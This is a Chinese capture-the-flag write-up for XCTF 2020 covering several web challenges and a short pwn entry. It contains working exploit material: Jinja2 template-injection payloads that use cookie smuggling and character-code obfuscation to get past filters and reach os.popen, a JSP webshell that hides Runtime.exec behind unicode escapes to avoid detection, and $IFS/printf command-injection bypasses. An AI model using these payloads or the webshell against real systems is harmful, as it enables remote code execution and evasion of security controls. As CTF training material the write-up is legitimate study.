XCTF 2020 第一场 WriteUp - CNSS
XCTF高校网络安全专题挑战赛 Writeup - CNSS
Web
mine1_1
/success?msg=
模板注入
过滤了 ' " _ args []
request.cookies 绕过
1 | {{()|attr(request.cookies.class)|attr(request.cookies.base)|attr(request.cookies.subclasses)()|attr(request.cookies.getitem)(59)|attr(request.cookies.init)|attr(request.cookies.globals)|attr(request.cookies.getitem)(request.cookies.linecache)|attr(request.cookies.dict)|attr(request.cookies.getitem)(request.cookies.os)|attr(request.cookies.dict)|attr(request.cookies.getitem)(request.cookies.popen)(request.cookies.cmd)|attr(request.cookies.read)()}} |
mine2
1 | _ = '"{0:c}"|attr("fo"%2B"rmat")(95)' |
1 | {%print(""|attr("{0:c}"|attr("fo"%2B"rmat")(95)%2B"{0:c}"|attr("fo"%2B"rmat")(95)%2B"c"%2B"l"%2B"a"%2B"s"%2B"s"%2B"{0:c}"|attr("fo"%2B"rmat")(95)%2B"{0:c}"|attr("fo"%2B"rmat")(95))|attr("{0:c}"|attr("fo"%2B"rmat")(95)%2B"{0:c}"|attr("fo"%2B"rmat")(95)%2B"b"%2B"a"%2B"s"%2B"e"%2B"{0:c}"|attr("fo"%2B"rmat")(95)%2B"{0:c}"|attr("fo"%2B"rmat")(95))|attr("{0:c}"|attr("fo"%2B"rmat")(95)%2B"{0:c}"|attr("fo"%2B"rmat")(95)%2B"s"%2B"{0:c}"|attr("fo"%2B"rmat")(117)%2B"b"%2B"c"%2B"l"%2B"a"%2B"s"%2B"s"%2B"e"%2B"s"%2B"{0:c}"|attr("fo"%2B"rmat")(95)%2B"{0:c}"|attr("fo"%2B"rmat")(95))()|attr("{0:c}"|attr("fo"%2B"rmat")(95)%2B"{0:c}"|attr("fo"%2B"rmat")(95)%2B"{0:c}"|attr("fo"%2B"rmat")(103)%2B"e"%2B"t"%2B"i"%2B"t"%2B"e"%2B"m"%2B"{0:c}"|attr("fo"%2B"rmat")(95)%2B"{0:c}"|attr("fo"%2B"rmat")(95))(117)|attr("{0:c}"|attr("fo"%2B"rmat")(95)%2B"{0:c}"|attr("fo"%2B"rmat")(95)%2B"i"%2B"n"%2B"i"%2B"t"%2B"{0:c}"|attr("fo"%2B"rmat")(95)%2B"{0:c}"|attr("fo"%2B"rmat")(95))|attr("{0:c}"|attr("fo"%2B"rmat")(95)%2B"{0:c}"|attr("fo"%2B"rmat")(95)%2B"{0:c}"|attr("fo"%2B"rmat")(103)%2B"l"%2B"o"%2B"b"%2B"a"%2B"l"%2B"s"%2B"{0:c}"|attr("fo"%2B"rmat")(95)%2B"{0:c}"|attr("fo"%2B"rmat")(95))|attr("{0:c}"|attr("fo"%2B"rmat")(95)%2B"{0:c}"|attr("fo"%2B"rmat")(95)%2B"{0:c}"|attr("fo"%2B"rmat")(103)%2B"e"%2B"t"%2B"i"%2B"t"%2B"e"%2B"m"%2B"{0:c}"|attr("fo"%2B"rmat")(95)%2B"{0:c}"|attr("fo"%2B"rmat")(95))("popen")("c"%2B"a"%2B"t"%2B"{0:c}"|attr("fo"%2B"rmat")(32)%2B"f"%2B"l"%2B"a"%2B"{0:c}"|attr("fo"%2B"rmat")(103)%2B"{0:c}"|attr("fo"%2B"rmat")(46)%2B"t"%2B"x"%2B"t")|attr("read")())%} |
webshell_1
Vue前端 jsp后端
Apache Tomcat/10.0.0-M10
1 | POST /upload.jsp |
jsp 免杀
unicode 绕过
1 | <%java.io.InputStream input=Runtime.getRuntime().\\u0065\\u0078\\u0065\\u0063(request.getParameter("cmd")).getInputStream();int len=-1;byte[] bytes=new byte[4092];out.print("<pre>");while ((len = input.read(bytes)) != -1) {out.println(new String(bytes));out.print("</pre>");}%> |
hids
1 | cat$IFS$(find) |
过滤规则
1 | from flask import Flask |
1 | cmd=ls$IFS$(printf$IFS"\\56\\56\\57\\56\\56\\57") |
readflag90s后才能读出flag
detect.py可写
改成空就可以了
然后readflag就出了
pyer
sql盲注
1 | <test> |
Pwn
cpp
保护全开
只有两个功能,添加堆块以及删除堆块
程序有一个 UAF,会在删除堆块后将其内容打印出来,然后让你在 free 掉的地方写东西
1 | from pwn import * |